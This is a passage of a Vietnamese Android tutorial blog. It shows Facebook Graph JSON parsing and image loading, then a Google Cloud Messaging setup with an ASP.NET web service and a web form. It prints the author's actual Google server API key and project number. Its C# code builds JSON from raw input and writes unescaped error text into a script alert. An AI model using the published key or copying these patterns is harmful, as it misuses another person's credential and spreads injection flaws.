txtId=findTextView(R.id.txtId);
txtFirstName=findTextView(R.id.txtFirstName);
txtLastName=findTextView(R.id.txtLastName);
txtName= findTextView(R.id.txtName);
txtLink= findTextView(R.id.txtLink);
txtGender =findTextView(R.id.txtGender);
txtLocale= findTextView(R.id.txtLocale);
txtUserName=findTextView(R.id.txtUserName);
btnShowImage=(Button) findTextView(R.id.btnShowImage);
btnShowImage.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View v) {
//Code xem hình ở đây
}
});
}
@Override
protected void onResume() {
// TODO Auto-generated method stub
super.onResume();
new MyJsonTask().execute("http://graph.facebook.com/duythanhcse");
//new MyJsonTask().execute("http://graph.facebook.com/barackobama");
//new MyJsonTask().execute("http://graph.facebook.com/kyduyenhoahau");
}
//Lớp xử lý đa tiến trình:
public class MyJsonTask extends AsyncTask<String, JSONObject, Void>
{
@Override
protected void onPreExecute() {
// TODO Auto-generated method stub
super.onPreExecute();
}
@Override
protected Void doInBackground(String... params) {
//Lấy URL truyền vào
String url=params[0];
JSONObject jsonObj;
try {
//đọc và chuyển về JSONObject
jsonObj = MyJsonReader.readJsonFromUrl(url);
publishProgress(jsonObj);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
@Override
protected void onProgressUpdate(JSONObject... values) {
super.onProgressUpdate(values);
//ta cập nhật giao diện ở đây:
JSONObject jsonObj=values[0];
try {
//kiểm tra xem có tồn tại thuộc tính id hay không
if(jsonObj.has("id"))
txtId.setText(jsonObj.getString("id"));
if(jsonObj.has("first_name"))
txtFirstName.setText(jsonObj.getString("first_name"));
if(jsonObj.has("gender"))
txtGender.setText(jsonObj.getString("gender"));
if(jsonObj.has("last_name"))
txtLastName.setText(jsonObj.getString("last_name"));
if(jsonObj.has("link"))
txtLink.setText(jsonObj.getString("link"));
if(jsonObj.has("locale"))
txtLocale.setText(jsonObj.getString("locale"));
if(jsonObj.has("name"))
txtName.setText(jsonObj.getString("name"));
if(jsonObj.has("username"))
txtUserName.setText(jsonObj.getString("username"));
} catch (JSONException e) {
Toast.makeText(MainActivity.this, e.toString(),
Toast.LENGTH_LONG).show();
e.printStackTrace();
}
}
@Override
protected void onPostExecute(Void result) {
// TODO Auto-generated method stub
super.onPostExecute(result);
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
}

Bạn quan sát:

if(jsonObj.has(“id”)) –> dùng để kiểm tra thuộc tính có tồn tại hay không
txtId.setText(jsonObj.getString(“id”));–> Nếu tồn tại thì lấy thông tin

jsonObj.getXXX(Thuộc_Tính) –> lấy giá trị của thuộc tính. với XXX là phương thức tương ứng với Kiểu dữ liệu được JSON trả về.

Như vậy bạn đã đọc được thông tin từ JSON lên giao diện.

Bạn cố gắng chạy thành công việc đọc dữ liệu đơn giản từ JSON, sau đó mới qua mục bên dưới:

————————————————————

– Bây giờ ta tiến hành đọc hình ảnh của Hoa Hậu Kỳ Duyên (http://graph.facebook.com/kyduyenhoahau), bạn nhớ đổi link đọc JSON qua Kỳ Duyên nhé:

android_51_14Bạn Thấy hình trên Tui chụp JSON của Kỳ Duyên, cover là thuộc tính và nó trả về 1 đối tượng JSONObject, trong đối tượng do cover trả về thì nó có thuộc tính source để lưu hình ảnh của Kỳ Duyên. Ta có thể đọc và xử lý hình ảnh như sau:

– Làm để đọc được source hình của Hoa Hậu từ JSon ở trên?

– Khi có source hình rồi thì làm sao để hiển thị lên giao diện của Android?

trước tiên ta cần bổ sung thêm lớp ImageLoadTask để tạo tiểu trình tải hình ảnh theo link bất kỳ và màn hình XemHinhActivity để hiển thị hình ảnh lên:

android_51_15Màn hình hiển thị hình ảnh đơn giản như sau (activity_xem_hinh.xml):


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/LinearLayout1"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context="tranduythanh.com.XemHinhActivity" >

<ImageView
android:id="@+id/imageView1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:src="@drawable/ic_launcher" />

</LinearLayout>

– Tiến hành xử lý tải hình ảnh từ URL (ImageLoadTask.java):


package tranduythanh.com;

import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;

import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.AsyncTask;
import android.widget.ImageView;

public class ImageLoadTask extends AsyncTask<Void, Void, Bitmap> {

//Link url hình ảnh bất kỳ
private String url;
//Control ImageView bất kỳ
private ImageView imageView;

public ImageLoadTask(String url, ImageView imageView) {
this.url = url;
this.imageView = imageView;
}

@Override
protected Bitmap doInBackground(Void... params) {
try {
//Tiến hành tạo đối tượng URL
URL urlConnection = new URL(url);
//Mở kết nối
HttpURLConnection connection = (HttpURLConnection) urlConnection
.openConnection();
connection.setDoInput(true);
connection.connect();
//Đọc dữ liệu
InputStream input = connection.getInputStream();
//Tiến hành convert qua hình ảnh
Bitmap myBitmap = BitmapFactory.decodeStream(input);
return myBitmap;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}

@Override
protected void onPostExecute(Bitmap result) {
super.onPostExecute(result);
//lấy kết quả hiển thị lên giao diện:
imageView.setImageBitmap(result);
}

}

– Tiếp theo tiến hành hiển thị hình ảnh lên giao diện (XemHinhActivity), lớp này sẽ sử dụng lại ImageLoadTask:


package tranduythanh.com;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.ImageView;

public class XemHinhActivity extends Activity {

ImageView imgView;
String urlImage="";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_xem_hinh);
imgView=(ImageView) findViewById(R.id.imageView1);
//Lấy Intent từ MainActivity
Intent in= getIntent();
//Lấy link hình ảnh ra được truyền từ MainActivity
urlImage=in.getStringExtra("URL_IMG");
}
@Override
protected void onResume() {
// TODO Auto-generated method stub
super.onResume();
//Tiến hành tải hình theo urlImage và hiển thị lên giao diện:
new ImageLoadTask(urlImage, imgView).execute();
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.xem_hinh, menu);
return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
}

-Bạn để ý dòng 20 và dòng 22 ở trên, nó được lấy thông tin từ dòng 39 ở lớp dưới đây:

– Tiến hành sửa coding lại cho MainActivity, vì ở trên ta chưa xử lý đọc link hình ảnh truyền qua màn hình XemHinhActivity:


package tranduythanh.com;

import java.io.IOException;

import org.json.JSONException;
import org.json.JSONObject;

import android.app.Activity;
import android.content.Intent;
import android.os.AsyncTask;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;

public class MainActivity extends Activity {

String urlImage;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

addControlAndEvents();
}
private void addControlAndEvents() {
btnShowImage=(Button) findTextView(R.id.btnShowImage);
btnShowImage.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View v) {
Intent in=new Intent
(MainActivity.this, XemHinhActivity.class);
in.putExtra("URL_IMG", urlImage);
startActivity(in);
}
});
}
@Override
protected void onResume() {
// TODO Auto-generated method stub
super.onResume();
new MyJsonTask().execute("http://graph.facebook.com/kyduyenhoahau");
}
//Lớp xử lý đa tiến trình:
public class MyJsonTask extends AsyncTask<String, JSONObject, Void>
{
@Override
protected void onPreExecute() {
// TODO Auto-generated method stub
super.onPreExecute();
}
@Override
protected Void doInBackground(String... params) {
//Lấy URL truyền vào
String url=params[0];
JSONObject jsonObj;
try {
//đọc và chuyển về JSONObject
jsonObj = MyJsonReader.readJsonFromUrl(url);
if(jsonObj.has("cover"))
{
JSONObject objCover= jsonObj.getJSONObject("cover");
if(objCover.has("source"))
{
urlImage=objCover.getString("source");
}
}
publishProgress(jsonObj);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
@Override
protected void onProgressUpdate(JSONObject... values) {
super.onProgressUpdate(values);

}
@Override
protected void onPostExecute(Void result) {
// TODO Auto-generated method stub
super.onPostExecute(result);
}
}
}

– Tui xóa hết những code cũ, chỉ giữ lại code xử lý xem hình ảnh, quan quan sát Tui  bổ sung những lệnh sau:

+Biến urlImage để lưu được link hình ảnh của Hoa Hậu Kỳ Duyên

+ xử lý đọc hình (dòng 66 tới 72)

+ Xử lý gửi link hình qua màn hình xem hình ảnh (dòng 39)

Sau khi sửa xong và chạy phần mềm ta được kết quả như sau:

android_51_16Bạn có thể tải source code mẫu đầy đủ tại đây:

Tải Link ở đây nầy bạn!

Tương tự, nếu bạn đổi qua link của Ngài Tổng Thống Barac Obamá thì tự động bạn cũng có được hình ảnh như sau:

android_51_17Bài tiếp theo Tui sẽ hướng dẫn các bạn cách tạo JSON trong .net webservice và cách tương tác với chúng

Các bạn chú ý theo dõi!

Chúc các bạn thành công!

Bài 50: Cách sử dụng Google Cloud Message trong Android


Bạn muốn xây dựng ứng dụng để gửi thông báo tới khoảng 1000 máy client có kết nối internet cùng một lúc mà không tốn phí thì có thể nghiên cứu cách sử dụng Google Cloud Message (GCM), trong bài tập này Tui sẽ hướng dẫn các bạn từng bước xây dựng ứng dụng sử dụng GCM. Trước tiên Tui vẽ lại quy trình sơ lược cách thức vận hành của GCM như  hình dưới đây:

android_50_1

– Bạn chú ý là số 1,2,3,4 Tui để cùng màu đỏ

– Số 5,6 Tui để cùng màu xanh.

– Trung tâm Tui để Google Developer vì nó là điều phối cho các bước.

Quy trình hoạt động như  sau (số thứ tự là bước):

Bước 0:

– Phải tạo một Project trên https://console.developers.google.com trước để có được Sender IdApplication Id

– Xây dựng Server và WebService của ta với CSDL phù hợp để lưu trữ Registration Id.

Bước 1:

– Các thiết bị  Mobile Android sẽ gửi Sender Id và Application Id lên GCM server để đăng ký (chú ý là Sender Id được cung cấp từ  Google Developers).

Bước 2:

– Nếu đăng ký thành công thì GCM Server sẽ tạo ra một mã đăng ký gọi là Registration Id và gửi ngược về cho thiết bị Android.

Bước 3:

– Sau khi nhận được Registration Id GCM Server gửi về, mỗi thiết bị Android này sẽ gửi Registration Id lên Server thông qua Web Service (chú ý là Server này do ta xây dựng, tức nó là độc lập với GCM Server của Google).

Bước 4:

– Sau khi Server của ta nhận được Registration Id (mỗi Android device sẽ được cung cấp Id riêng, theo từng session do GCM Server tạo ra) sẽ tiến hành lưu vào CSDL (do ta xây dựng) để sử dụng cho các lần sau này (gửi tin nhắn hàng loạt).

Bước 5:

– Xây dựng ứng dụng trên Server để cho phép gửi Tin nhắn hàng loạt (có thể gửi tới 1000  Android device mà không tốn phí), ở bước này cũng phải lấy Sender Id và Application Id do bước 0 tạo ra. Định dạng gửi tin sẽ theo JSON format, có thể gửi cả dấu Tiếng Việt.

– Tin nhắn ở bước này sẽ được gửi lên GCM Server.

Bước 6:

– Sau khi GCM Server nhận được tin nhắn theo định dạng JSON ở bước 5, nó sẽ tiến hành gửi tơi tất cả các máy trạm được đăng ký trong gói JSON này và gần như ngay lập tức các Client đều nhận được.

Bài này rất hay và có thể áp dụng được thực tế để giúp giảm thiểu chi phí nhắn tin SMS, vì về sau nhân viên sử dụng Smart Phone rất nhiều và dường như  WIFI có trong mọi ngóc nghách hẻm hóc….. nên có thể triển khai để nhắn tin cho nhân viên thông báo họp hay đi ăn nhậu…. Đối với Trường học cũng vậy có thể áp dụng để nhắn tin cho học sinh , sinh viên lên tới 1000 người mà không tốn phí (Vì theo Tui càng về sau giới trẻ sẽ ưa chuộng Smart Phone hơn là cục gạch Nồi Đồng Cối Đá được sản xuất từ kiếp trước).

Bước 0, 5, 6 là xây dựng cho Server Side (CSDL, Webserver, WebService, Webform…)

Bước 1,2,3,4 là xây dựng cho Client Side (Android Application).

Chi tiết từng bước Tui sẽ hướng dẫn cụ thể để bạn có thể triển khai thực tế:

——————————————————————————

Bây giờ bạn cần làm theo từng bước dưới đây nhé:

Bước 0, 5,6: – Xây dựng Server Side

– Phải tạo một Project trên https://console.developers.google.com trước để có được Sender IdApplication Id

– Xây dựng Server và WebService của ta với CSDL phù hợp để lưu trữ Registration Id.

Như  vậy ở  bước 0 bạn phải xử  lý 2 công việc chính đó là tạo project trên developer của google + xây dựng Server, bước này khá vất vả. Ngoài ra Tui sẽ dựng Webservice và CSDL ở trên Server miễn phí http://www.somee.com mà trong bài 44 Tui đã đề cấp tới, nếu bạn chưa rõ có thể vào bài này để xem lại (vì Tui sẽ không hướng dẫn lại nữa, chỉ hiển thị kết quả do đó bạn nào chưa học thì phải xem lại bài 44 thì mới hiểu được).

– Trước tiên cần phải tạo Project trên https://console.developers.google.com trước để có được Sender Id và Application Id. Sau khi bạn vào trang developer này và đăng nhập thì có giao diện như  sau(dĩ nhiên google sẽ thay đổi nếu như có version mới):

Ở đây Tui dùng email tdthanh@t3h.hcmus.edu.vn để hướng dẫn.

android_50_2Ở màn hình trên bạn nhấn vào nút “Create Project” để tạo google project, màn hình sau xuất hiện:

android_50_3Mục 1: Nhập vào tên Project, ở trên Tui đặt là drthanh

Mục 2: Nhập vào Project ID, nếu muốn nó tự tạo thì bạn nhấn mục số 3

Mục 3: Nhờ Google tạo ID

Mục 4: Bấm vào Create để chấp nhận tạo Project, chú ý bạn phải checked vào “I have read and agree to all”.

Sau khi bấm “Create“, bạn chờ giây lát google sẽ tạo project cho bạn như màn hình dưới đây:

android_50_4Ở màn hình trên bạn nhìn vào chỗ Tui khoanh vòng tròn màu đỏ:

Project Number: 1009585144224

Đây chính là Sender ID, bạn cần nhớ chỗ này để copy + paste vào Client side (android) và Server side của bạn.

Bạn nhớ đừng có dùng Sender ID này của Tui nhé, nếu có quá nhiều người sài, mỗi người gửi 1000 client…. Google nói Tui Spam họ…. họ ngắt tài khoản của Tui…. Tui sẽ buồn man  mác đó….Không hướng dẫn thêm được.

Nếu bạn bấm lung tung 1 hồi không tìm thấy Sender Id này thì nhớ bấm vào Overview để thấy lại nó nhé:

android_50_5Như vậy ta đã có Sender Id, giờ Tui hướng dẫn các bạn tìm Application ID:

Bạn vào APIs & auth/ chọn Credentials:

android_50_6Sau khi bạn nhấn vào “Credentials”, màn hình Credentials sẽ hiển thị ra như trên. Bạn nhấm vào mục số 2 “Create new Key” màn hình sau xuất hiện:

android_50_7Ở màn hình trên bạn chọn “Server Key” thì màn hình tạo Key sau xuất hiện:

android_50_8Tại màn hình này bạn để trống mặc định, chỉ việc bấm nút “Create“, ta có kết quả sau:

android_50_9Ta thấy API key: AIzaSyCjjq8EvQQdwmKb9rolWnun_hf8zq2nTa8

API key chính là Application ID.

Như vậy bạn đã có được Sender ID và Application ID. Bạn cũng chú ý đừng sử dụng của Tui nhé, cố gắng tự tạo theo các bước Tui hướng dẫn mà sử dụng.

– Tiếp theo của bước 0, Ta cần xây dựng Webservice, CSDL trên Server. Ở đây Tui dùng http://somee.com để tải dịch vụ lên sử dụng. Bước này Tui sẽ hướng dẫn bạn 2 cách tạo Server để truyền tin tới client: Dùng Webservice và dùng Desktop Application để bạn có nhiều lựa chọn cũng như tăng thêm vốn kiến thức về vận hành GCM.

– Mọi thứ bạn nên tạo tại máy của bạn trước, sau khi test OK mới đưa lên Server.

Bây giờ bạn tạo cơ sở dữ liệu trong SQL Server với tên “dbDrThanhGCM“, với 2 bảng:

android_50_10Bảng TinTuc:

Tên cột Kiểu loại Ghi chú
NewsID varchar(50) Mã tin tức, khóa chính
Title nvarchar(MAX) Tiêu đề tin tức
IsDeleted int 1 là xác nhận sọt rác, 0 là còn sử dụng

Bảng TinTuc mục đích để thêm danh sách tin tức tại máy Server, mỗi lần thêm Tin nó sẽ tự  động thông báo cho toàn bộ máy Client:

Bảng GCMRegistration:

Tên cột Kiểu loại Ghi chú
RegNo int No (tự động tăng), khóa chính
RegID nvarchar(MAX) Mã Registration ID của thiết bị do GCM server gửi về
DateCreate date Ngày tạo
IsDeleted int 1 là xác nhận sọt rác, 0 là còn sử dụng

Bảng GCMRegistration dùng để lưu trữ  các Registration Id của các Thiết bị đăng  ký thành công trên GCM Server. Ta cần tạo bảng này để lưu trữ lại toàn bộ Registration Id của các thiết bị để sử dụng cho việc thông báo hàng loạt ở các lần khác nhau. Thường các ID này mặc định được lưu trữ khoảng 4 tuần trên GCM Server.

Chú ý bảng GCMRegistration bạn có thể bỏ cột RegNo, dùng RegID làm khóa chính luôn. Nhưng tại vì Tui sợ Google thay đổi cơ chế làm tăng chiều dài của RegID sẽ vượt qua ràng buộc khóa chính nên Tui dùng RegNo tự  động tăng, và bạn cũng chỉ quan tâm tới RegID vì nó là duy nhất (không quan tâm RegNo).

– Bạn tiến hành Tạo WebService để tương tác với 2 bảng dữ liệu như  dưới đây (Tui tạo Solution để nó chứa luôn 2 Project: Webservice và Desktop Application): Tạo solution tên GCMSolution

android_50_11Bấm OK để tạo Solution:

android_50_14Tiến hành tạo ASP.NET project: Bấm chuột phải vào GCMSolution/chọn Add/New Project, màn hình sau xuất hiện:

android_50_12 Ta chọn cấu hình giống như mô tả ở trên, nhập tên “GCMWebService” rồi nhấn nút ok:

android_50_13Trong màn hình New ASP.NET Project/chọn Empty rồi nhấn nút OK như hình.

android_50_15- Bây giờ ta tiến hành tạo WebService tên drthanhgcmservice.asmx:

Bấm chuột phải vào GCMWebService/chọn Add/ Chọn Web Service (ASMX), xuất hiện màn hình sau cho phép nhập tên:

android_50_16Nhập tên rồi bấm OK ta có kết quả mặc định như  sau:

android_50_17Giờ ta tiến hành tương tác CSDL để viết các dịch vụ.

Ta dùng LINQ để tương tác CSDL, bấm chuột phải vào GCMWebService/chọn Add/ chọn LINQ to SQL classes: android_50_18Sau đó tiến hành kết nối tới CSDL tạo ở trên (bạn nào không rõ thì xem lại các bài trước (bài 43, 44, 45, 46), Tui không muốn nói lại vì mất thời gian), sau khi cấu hình và kéo thả xong ta được như sau:

android_50_19Bạn chú ý là chuỗi kết nối sẽ tự  động được tạo trong file “Web.config“, và khi đưa lên server Somee thì ta chỉ việc đổi chuỗi kết nối trong file này là xong (bạn cũng xem lại các bài trước tui đã đề cập).

Ta tiến hành viết lệnh cho lớp drthanhgcmservice:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Services;

namespace GCMWebService
{
/// <summary>
/// Summary description for drthanhgcmservice
/// </summary>
[WebService(Namespace = "http://tranduythanh.com/")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
[System.ComponentModel.ToolboxItem(false)]
// To allow this Web Service to be called from script, using ASP.NET AJAX, uncomment the following line.
// [System.Web.Script.Services.ScriptService]
public class drthanhgcmservice : System.Web.Services.WebService
{

[WebMethod]
public string HelloWorld()
{
return "Hello World";
}
/// <summary>
/// Hàm này dùng để lưu RegistrationId từ GCM gửi về cho mỗi thiết bị
/// </summary>
/// <param name="regId"></param>
/// <returns></returns>
[WebMethod]
public bool insertRegID(string regId)
{
try
{
DrThanhGCMDataContext db = new DrThanhGCMDataContext();
GCMRegistration reg = db.GCMRegistrations.FirstOrDefault(c => c.RegID == regId);
if (reg == null)
{
reg = new GCMRegistration();
reg.RegID = regId;
reg.IsDeleted = 0;
db.GCMRegistrations.InsertOnSubmit(reg);
}
reg.DateCreate = DateTime.Now;
db.SubmitChanges();
return true;
}
catch (Exception ex)
{

}
return false;
}
/// <summary>
/// Hàm dùng để trả về danh sách Registration đã được lưu vào Server của ta
/// để cung cấp cho việc gửi tin nhắn hàng loạt, chú ý là danh sách không nằm trong sọt rác
/// </summary>
/// <param name="isDeleted">isDeleted=0 là sẵn sàng, isDeleted=1 là bị nằm trong sọt rác</param>
/// <returns></returns>
[WebMethod]
public GCMRegistration[] getListRegIDs(int isDeleted)
{
DrThanhGCMDataContext db = new DrThanhGCMDataContext();
var  listc = db.GCMRegistrations.Where(x => x.IsDeleted == isDeleted);
return listc.ToArray();
}
/// <summary>
/// Hàm này dùng để lưu Registration vào sọt rác, thiết lập IsDeleted=1
/// </summary>
/// <param name="regId"></param>
/// <returns></returns>
[WebMethod]
public bool moveRegToRecycleBin(string regId)
{
DrThanhGCMDataContext db = new DrThanhGCMDataContext();
GCMRegistration x = db.GCMRegistrations.FirstOrDefault(c => c.RegID == regId);
if (x != null)
{
x.IsDeleted = 1;
db.SubmitChanges();
return true;
}
return false;
}
/// <summary>
/// hàm dùng để xóa vĩnh viễn Registration ra khỏi CSDL
/// </summary>
/// <param name="regId"></param>
/// <returns></returns>
[WebMethod]
public bool permanentlyRemoveReg(string regId)
{
DrThanhGCMDataContext db = new DrThanhGCMDataContext();
GCMRegistration x = db.GCMRegistrations.FirstOrDefault(c => c.RegID == regId);
if (x != null)
{
db.GCMRegistrations.DeleteOnSubmit(x);
db.SubmitChanges();
return true;
}
return false;
}
/// <summary>
/// Hàm trả về danh sách tin tức, mục đích là mỗi lần thêm 1 tin tức thì thông báo cho
/// máy client biết và cho phép mở xem danh sách tin mới.
/// </summary>
/// <param name="isDeleted"></param>
/// <returns></returns>
[WebMethod]
public TinTuc[] getListTinTuc(int isDeleted)
{
DrThanhGCMDataContext db = new DrThanhGCMDataContext();
var ds=  db.TinTucs.Where(x =>  x.IsDeleted == 0);

return ds.ToArray() ;
}
/// <summary>
/// Hàm dùng để thêm mới 1 tin tức
/// </summary>
/// <param name="ma"></param>
/// <param name="title"></param>
/// <returns></returns>
[WebMethod]
public bool insertTinTuc(string ma,string title)
{
try
{
DrThanhGCMDataContext db = new DrThanhGCMDataContext();
TinTuc t = db.TinTucs.FirstOrDefault(c => c.NewsID == ma);
if (t == null)
{
t = new TinTuc();
t.NewsID = ma;

t.IsDeleted = 0;
db.TinTucs.InsertOnSubmit(t);
}
t.Title = title;
db.SubmitChanges();
return true;
}
catch (Exception ex)
{

}
return false;
}
}
}

-Tiếp theo ta tạo 1 Webform để gửi thông báo tới các máy trạm bằng cách bấm chuột phải vào GCMWebService/chọn Add/ chọn Web Form: android_50_20Cửa sổ tạo Webform hiển thị lên, bạn tạo tên như  sau:

android_50_21Tui đặt là “DrThanhWebForm” rồi nhấn nút OK, bạn nhấn nút Cancel cũng được nhưng mà phải làm lại.

Bạn thiết kế giao diện cho DrThanhWebForm như hình dưới đây:

android_50_22txtThongBao: Nhập tin muốn thông báo xuống các máy trạm

btnGuiThongBao: Nút lệnh để bắt đầu thực hiện lệnh gửi tin

txtKetQua: Ô hiển thị kết quả sau khi gửi thông báo.

Tiến hành viết coding cho nút “Gửi Thông báo”, bạn double click vào nó để viết lệnh như  dưới đây:


using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace GCMWebService
{
public partial class DrThanhWebForm : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{

}

protected void btnGuiThongBao_Click(object sender, EventArgs e)
{
try
{
DrThanhGCMDataContext db = new DrThanhGCMDataContext();
//đây chính là API Key: (copy paste từ Google developer nhé)
string applicationID = "<Bạn copy API KEY vào đây nha>";
//lấy danh sách Registration Id
string[] arrRegid = db.GCMRegistrations.Where(c => c.IsDeleted == 0).Select(c => c.RegID).ToArray();

//đây chính là Sender ID: (copy paste từ Google developer nhé)
string SENDER_ID = "<Bạn copy Sender ID vào đây nha>";
//lấy nội dung thông báo
string value = txtThongBao.Text;
WebRequest tRequest;
//thiết lập GCM send
tRequest = WebRequest.Create("https://android.googleapis.com/gcm/send");
tRequest.Method = "POST";
tRequest.UseDefaultCredentials = true;

tRequest.PreAuthenticate = true;

tRequest.Credentials = CredentialCache.DefaultNetworkCredentials;

//định dạng JSON
tRequest.ContentType = "application/json";
//tRequest.ContentType = " application/x-www-form-urlencoded;charset=UTF-8";
tRequest.Headers.Add(string.Format("Authorization: key={0}", applicationID));

tRequest.Headers.Add(string.Format("Sender: id={0}", SENDER_ID));

string RegArr = string.Empty;

RegArr = string.Join("\",\"", arrRegid);
//Post Data có định dạng JSON như sau:
/*
*  { "collapse_key": "score_update",     "time_to_live": 108,       "delay_while_idle": true,
"data": {
"score": "223/3",
"time": "14:13.2252"
},
"registration_ids":["dh4dhdfh", "dfhjj8", "gjgj", "fdhfdjgfj", "đfjdfj25", "dhdfdj38"]
}
*/
string postData = "{ \"registration_ids\": [ \"" + RegArr + "\" ],\"data\": {\"message\": \"" + value + "\",\"collapse_key\":\"" + value + "\"}}";

Console.WriteLine(postData);
Byte[] byteArray = Encoding.UTF8.GetBytes(postData);
tRequest.ContentLength = byteArray.Length;

Stream dataStream = tRequest.GetRequestStream();
dataStream.Write(byteArray, 0, byteArray.Length);
dataStream.Close();

WebResponse tResponse = tRequest.GetResponse();

dataStream = tResponse.GetResponseStream();

StreamReader tReader = new StreamReader(dataStream);

String sResponseFromServer = tReader.ReadToEnd();

txtKetQua.Text = sResponseFromServer; //Lấy thông báo kết quả từ GCM server.
tReader.Close();
dataStream.Close();
tResponse.Close();

Response.Write(@"<script language='javascript'>alert('Tui đã nói bạn đừng test mà....\nduythanhcse@gmail.com')</script>");
}
catch(Exception ex)
{
//Response.Write(ex.ToString());
string msgError = ex.ToString();
Response.Write(@"<script language='javascript'>alert('" + msgError + "')</script>");
}
}
}
}

– Bây giờ ta cần đưa toàn bộ CSDL và Web application này lên server somee để sử dụng chung (khi ta cấu hình trên này thì bất kỳ nơi đâu ta cũng có thể tương tác miễn là có Internet, bạn chú ý là khi đưa lên server somee thì họ yêu cầu 1 tháng phải tối thiểu 5 lần tương tác nhé nếu không họ sẽ xóa tài khoản.

– Các bước đưa lên somee.com Tui đã trình bày rất kỹ lưỡng trong các bài tập trước đó (Tui có đề cập ở trên) bạn phải tự xem lại và cấu hình để biết cách đưa lên, Tui chỉ hiển thị kết quả sau khi cấu hình xong (Chú ý nếu bạn không tự xem lại các bài trước thì hãy ngừng luôn tại đây đừng có đọc tiếp nữa vì sẽ vô ích do không hiểu, bạn không thể lấy cái không biết này để thực hiện cái không biết khác). Bạn chú ý sau khi cấu hình để đưa CSDL lên somee bạn cần đổi lại chuỗi kết nối trong web.config để cho giống với somee cung cấp trước khi đưa lên máy chủ Somee (Nếu bạn có riêng HOsting thì tự  cấu hình, không cần dùng somee):

android_50_23

– Test Kết quả:

http://drthanhgcm.somee.com/DrThanhWebForm.aspx (link này để gửi thông báo đến hàng loạt client):

android_50_26Bạn thấy đó, ở trên Tui nhập vào cụm từ “DrThanh đẹp trai”, khi bạn thấy phần kết quả thông báo danh chuỗi như trên và có success:(n) tức là đã gửi tới client thành công, lúc Tui bấm nút Gửi thông báo thì điện thoại của Tui cũng nhận được tin này. Nếu bây giờ bạn gõ chuỗi bất kỳ và bấm gửi Thông báo thì điện thoại của Tui cũng nhận được (do đó bạn đừng có SPAM nhé.. Tội nghiệp Tui…).

http://drthanhgcm.somee.com/drthanhgcmservice.asmx (dùng để tương tác thông tin giữa Client và Server của ta: Lưu Registration ID từ  GCM server về, quản lý tin tức cũng như  Registration (thêm mới, hiển thị danh sách):

android_50_25Như  vậy ta đã tạo xong bước Server Side, bạn có thể tải source code mẫu Server side ở đây:

Cơ sở dữ liệu: http://download855.mediafire.com/cwhped1w6dhg/cjc26c2bmia2276/dbDrThanhGCM.sql

Source code : http://download1501.mediafire.com/5dm93jhg9h7g/56azkjufqybm6lz/GCMSolution.rar

Chú ý Source code bạn cần sửa 2 file:

– File DrThanhWebForm.aspx.cs: Copy + paste lại Application ID và Sender Id của bạn

– File Web.config: Copy + paste lại chuỗi kết nối.

Tui đã test chạy thành công hết rồi mới đưa lên đây nhé các bạn, chú ý sửa 2 file lại cho đúng.

Chú ý là ở bước số 0 Tui sẽ quay lại sau để hướng dẫn cách viết Desktop application để tương tác sử dụng GCM Server nhé, tạm thời dùng Webform (vì Tui sợ nhiều quá các bạn sẽ rối).

Bước 1, 2, 3, 4: – Xây dựng Client Side

Bước này chính là xây dựng Android Application để:

– Gửi thông tin đăng ký lên GCM Server để nhận Registration Id

– Lưu Registration Id vào CSDL trên server (của ta xây dựng)

– Nhận thông báo từ  Server (GCM Server)

Bạn tạo 1 Project mới với tên “DrThanhAndroidTestGCM“, Project này có 2 chức năng chính đó là:

– Tự động lắng nghe thông báo từ Server gửi về (Push Notification – GCM )

– Đọc danh sách Tin tức từ Server thông qua WebService.

Bạn chú ý là chương trình sẽ tự động nhận thông tin từ Server trong cả trường hợp Ứng dụng đã bị tắt.

Giao diện vô cùng tầm thường như sau:

android_50_27

XML layout như sau:


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/LinearLayout1"
android:layout_width="match_parent"
android:layout_height="match_parent"
